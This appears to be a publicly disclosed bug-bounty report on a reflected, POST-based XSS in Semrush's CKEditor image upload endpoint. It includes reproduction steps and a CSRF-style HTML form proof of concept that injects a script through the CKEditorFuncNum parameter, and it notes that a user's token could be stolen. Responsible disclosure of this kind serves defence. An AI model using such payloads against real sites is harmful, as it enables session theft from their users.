HexBrain

Semrush · Report #375352

Post Based XSS On Upload Via CK Editor [semrush.com]

Validstatus
lowseverity
12upvotes
17 Aug 2018disclosed

Summary

My Simple Writeup : https://apapedulimu.click/exploiting-xss-in-post-requests-on-semrush-com/

How it was found

Summary: XSS Via Post Method When Upload via CKEditor

Description: This XSS is execute by error message when upload some image on

https://www.semrush.com/my-posts/api/image/upload/?CKEditor=text&CKEditorFuncNum=0&langCode=en

Browsers Verified In:

  • Firefox

Steps To Reproduce:

  • This is POST based XSS, need some csrf to trigger the xss
  • Create .html code like :
<html>
  <body>
    <form action="https://www.semrush.com/my-posts/api/image/upload/?CKEditor=text&CKEditorFuncNum=dadasd</script><script>alert(document.domain)</script>&langCode=en" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Supporting Material/References:

{F314582}

Impact

XSS Will be execute it when user click that button, and attacker can stole user token, IP & etc.

Regards, Apapedulimu

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original